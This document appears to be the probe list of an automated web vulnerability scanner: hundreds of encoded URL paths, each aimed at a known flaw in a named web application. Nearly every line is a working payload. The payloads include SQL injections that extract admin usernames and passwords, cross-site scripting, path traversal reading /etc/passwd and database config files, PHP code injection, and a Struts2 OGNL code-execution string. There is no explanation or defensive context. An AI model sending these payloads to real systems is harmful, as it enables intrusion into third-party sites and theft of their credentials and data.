/general/ems/manage/search_excel.php?LOGIN_USER_ID=1&EMS_TYPE=1%e5%27%20and%20extractvalue%281,%20concat%280x5c,%28select%200x5468696E6B3A693A646966666572656E74%20from%20%60user%60%20limit%201%29%29%29;%23
/general/ems/query/search_excel.php?LOGIN_USER_ID=1%bf%27%20and%20extractvalue%281,%20concat%280x5c,%28select%200x5468696E6B3A693A646966666572656E74%20from%20%60user%60%20limit%201%29%29%29;%23&EMS_TYPE=1
/general/info/view?kind=0&i9999=-1%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/general/info/view?kind=6&dbpre=k00%20where%201=2%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/general/reportshop/utils/ExecUserDefFormulas.php?formulas=%3C?php%20echo%20md5('webscan');exit();?%3E
/general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20and%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(substring((select%20md5(1122)%20from%20user%20limit%201),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%23
/general/workflow/list/input_form/data_fetch.php?run_id=1%20and%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(substring((select%20md5(1122)%20from%20%60user%60%20limit%201),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%23
/getBibliographicByLibId?documentType=1'%20UNION%20ALL%20SELECT%20NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(59)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20FROM%20DUAL--%20&libId=&_=
/getClassNumberTree?id=1'%7C%7C(SELECT%201%20FROM%20DUAL%20WHERE%201122=1122%20AND%204567=UTL_INADDR.GET_HOST_ADDRESS((SELECT%20chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20FROM%20dual)))%7C%7C'&lv=0&n=
/getCollection?libId=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20--&_=
/ggxxlb.aspx?mc=&xh=&qx=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(103)%7C%7CCHR(101)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%20233%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(86)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)&lx=&lxdm=1
/ggxxlb.aspx?mc=&xh=&qx=1&lx=&lxdm=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(103)%7C%7CCHR(101)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%20233%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/go.php?a=/go.php/component/1&elements[tips]=%3C%21--%20php%20--%3E%3C%21--%20print(md5(base64_decode(MzYwd2Vic2Nhbg)))%3B%20--%3E%3C%21--%20%2Fphp%20--%3E
/goods/GoodsAdd.aspx?goodsid=1/**/AND/**/1122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)&flag=2
/grad/admin/domain_logo.php
/group/group.php?id=1%27webscan_draGxn
/group/search.php?keyword=1%3Ciframe%20src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K%3E
/guanli/
/guestbook.aspx?do=show&id=1%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null,char(106)%2bchar(106)%2bchar(108)%20--
/guestbook_reply.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php?ID=-1'%20UNION%20SELECT%201,2,3,4,md5(0x045154),6,7,8%23
/hetong/3121436149178/a448%20or%20updatexml(1,concat(0x7e,(md5(0x4124))),0)--%20-.html
/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/hlp/help.asp?HlpCode=1%27%20AND%208716%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2bCHAR%28106%29%2bCHAR%28112%29%2bCHAR%28120%29%2bCHAR%28113%29%2b%28SELECT%20%28CASE%20WHEN%20%288716%3D8716%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2bCHAR%28113%29%2bCHAR%28106%29%2bCHAR%28106%29%2bCHAR%2898%29%2bCHAR%28113%29%29%29%20AND%20%27sVMm%27%3D%27sVMm
/hlp/help.asp?HlpCode=1'%20and%201=char(106)%20--
/home.php?action=article&id=1&mytypeId=-2%20union%20select%20concat(0x7e,md5(1122),0x7e)%20from%20v_user%20where%20uid=1
/home/front/search/opr_chatsearch.jsp?action=simplesearch&words=1%25%27%20union%20all%20select%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2Cchr%28119%29%7C%7Cchr%28101%29%7C%7Cchr%2898%29%7C%7Cchr%28115%29%7C%7Cchr%2899%29%7C%7Cchr%2897%29%7C%7Cchr%28110%29%7C%7Cchr%2858%29%7C%7Cchr%28105%29%7C%7Cchr%2858%29%7C%7Cchr%28102%29%7C%7Cchr%28105%29%7C%7Cchr%28110%29%7C%7Cchr%28100%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20DUAL%20--
/house/ProcManage/WebHouse/HousePic.aspx
/houtai/
/hrss/ELTextFile.load.d?src=../../ierp/bin/prop.xml
/htdocs/
/html/
/huangou.php?id=1%20and%201=2%20union%20select%20unhex(hex(concat(0x5e5e5e,version(),0x5e5e5e))),0,0,0,0,0,0,0%20--
/i/dbmgr/resourcebrowser.do?action=download&file=../conf/jdbc.conf
/i/dbmgr/resourcebrowser.do?action=downloadquery&file=../conf/jdbc.conf
/i/oem/gdyjgrplogin.jsp?opid=1&taskGroup=0&id=%00'%20AND%201398%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%281398%3D1398%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%27HsUO%27%3D%27HsUO
/icons/
/icons/index
/icons/small/
/icons/small/index
/ids/admin/debug/fv.jsp?f=/../../../../../../../../etc/passwd
/img/
/inc/
/inc/ajax.asp?action=videoscore&id=1%20and%201=2%20union%20select%20CHR(106),CHR(99),3%20from%20%7Bpre%7Dmanager
/inc/finger/use_finger.php?USER_ID=-123%bf'%20and%20extractvalue(1,%20concat(0x5c,(select%200x5468696E6B3A693A646966666572656E74%20from%20%60user%60%20limit%201)))%23
/inc/guestbook.php?do=guestbook&t=ajax&mid=1&content=testtesta%E9%8C%A6%27,(select%20concat%280x7c,md5%281122%29,0x7c%29from%20job_admin%20limit%201%29,NOW%28%29,1,1,3,1,if%281=2,1,char%28@%60%27%60%29%29%29%23@%60%27%60
/include/
/include/ad.php?id=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x5c,md5(1122),0x5c),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
/include/common.inc.php?_POST[GLOBALS][cfg_dbname]=1
/include/common.inc.php?allclass[0]=cHJpbnQobWQ1KCIzNjB3ZWJzY2FuIikpO2RpZSgpOw
/include/config.properties
/include/dialog/config.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_images.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_images_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_media.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_media_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_soft.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_soft_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_templets.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/dialog/select_templets_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
/include/global/showmod.php?id=9&dbname=met_admin_table%20where%20length(admin_pass)=32--%201
/include/hits.php?met_hits=met_download%20cross%20join%20met_admin_table%20where%20met_download.id=met_admin_table.id%20and%20length(admin_pass)=32%20--%201
/include/interface/uidata.php
/include/online.php?jsoncallback=%3Ciframe/onload=alert(/webscan/)%3E
/include/thumb.php?x=1&y=/../../../config&dir=config_db.php
/include/zidian/dantree.asp?ZiDian='%20AND%204321%3DCONVERT%28INT%2C%28SELECT%20CHAR%28106%29%2bCHAR%28117%29%2bCHAR%28115%29%2bCHAR%28116%29%2bCHAR%2895%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%28115%29%2bCHAR%28116%29%29%29%20--
/index.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),%2b%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23webscan=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23webscan.println(@java.lang.System@getProperty(%22java.vendor.url%22)%2b%22d4f800167a6e317f35454ed9024eb310%22%2b%22http%3A%2f%2fwebscan.360.cn%22),%23webscan.close())(aa)&x[(class.classLoader.jarPath)('aa')]
/index.html#/dashboard/file/logstash.json
/index.jsp
/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11%23&action=getatlbyid
/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search
/index.php/Index/index/name/$%7B@print(md5(1122))%7D
/index.php/Site/article/id/-5724)%20UNION%20ALL%20SELECT%2011,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11%23.html
/index.php/Site/listTpl/id/-7266)%20UNION%20ALL%20SELECT%200x63656461723A66696E643A696969696969,NULL,NULL,NULL%23.html
/index.php/Site/page/id/-7266)%20UNION%20ALL%20SELECT%200x63656461723A66696E643A696969696969,NULL,NULL,NULL%23.html
/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/
/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request=
/index.php/list-10%20UNION/**/all/**/SELECT/**/listid,listid1,modelid,siteid,norder,ncount,ncountall,(select%20concat(0x23,md5(1122),0x23)%20from%20kc_admin%20where%20adminid=1),klistname,kkeywords,kdescription,kimage,isblank,iscontent,kcontent,klistpath,ktemplatelist1,ktemplatelist2,nlistnumber,kpathmode,ktemplatepage1,ktemplatepage2,npagenumber,ispublish1,ispublish2,norder1,norder3,norder4,norder5,nupdatelist,nupdatepage,isexist,nlist,npage,gid,ismenu1,ismenu2,ismenu3,ismenu4,ismenu5,ismap,klanguage,gidpublish%20from%20king_list%20where%20listid=4%23.html
/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1
/index.php/weblinks-categories?id=just_test
/index.php?-dauto_prepend_file%3d/etc/passwd+-n
/index.php?_COOKIE[cfg][database]=mysql&_COOKIE[cfg][db_host]=localhost&_COOKIE[cfg][db_user]=webscan&_COOKIE[cfg][db_pass]=reer&_COOKIE[cfg][db_name]=db
/index.php?a=1%3Cscript%3Ealert(abc)%3C/script%3E
/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1
/index.php?a=list_type&c=index&m=link&siteid=1'%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a);%23
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363
/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336
/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336
/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363
/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363
/index.php?ac=order&at=list
/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
/index.php?ac=search&at=taglist&tagkey=a%2527
/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc
/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8
/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23
/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523
/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)#
/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17
/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor
/index.php?app=/../robots.txt%00
/index.php?app=user&ac=../../../robots.txt%00
/index.php?app=user&ac=plugin&in=../../robots.txt%00
/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id[task_to_run]=addons/Area)-%3EgetAreaList();print(md5(1122));%23
/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg
/index.php?c=ajax&a=member_login&template=../../ooxx.php
/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ
/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f
/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E
/index.php?c=tj&f=include&js=/../../config.php
/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php
/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D
/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00
/index.php?case=archive&act=orders
/index.php?case=archive&act=orders&aid[aid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a]=26
/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23]=10
/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa
/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1
/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23
/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23
/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin
/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D
/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23
/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23
/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23
/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare
/index.php?id=product&c=project&cate=1&ext[id%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--]=1
/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css
/index.php?keywords=zzz333&mod=search
/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc
/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23
/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523
/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23
/index.php?m=Goods&a=showcate&id=1'cfreer
/index.php?m=Order&a=index
/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23
/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23
/index.php?m=company&s=space_comments&uid=1%20and%20extractvalue(1,%20concat(0x5c,%20(select%20md5(1122)%20from%20information_schema.tables%20limit%201)));%20--
/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b)
/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23
/index.php?m=member&c=index&a=public_checkname_ajax&username=admin%25%252727%20and%201=1%23
/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23
/index.php?m=message&s=inquiry_basket
/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec)
/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23
/index.php?m=poster&c=index&a=poster_click&id=1
/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt
/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23
/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23
/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs=
/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1
/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4
/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4
/index.php?mod=../admin/admin&a=list
/index.php?mod=../admin/admin&ac=list
/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00
/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00
/index.php?product-%22%3E%3Ciframe%20src=javascript:window[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](42873)%20-1122-viewpic.html
/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product
/index.php?s=/down/down/&file=./index.php
/index/searchInfoTcontentByCategory.action?infoSearchPid=8&infoSearchkey=1%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'='
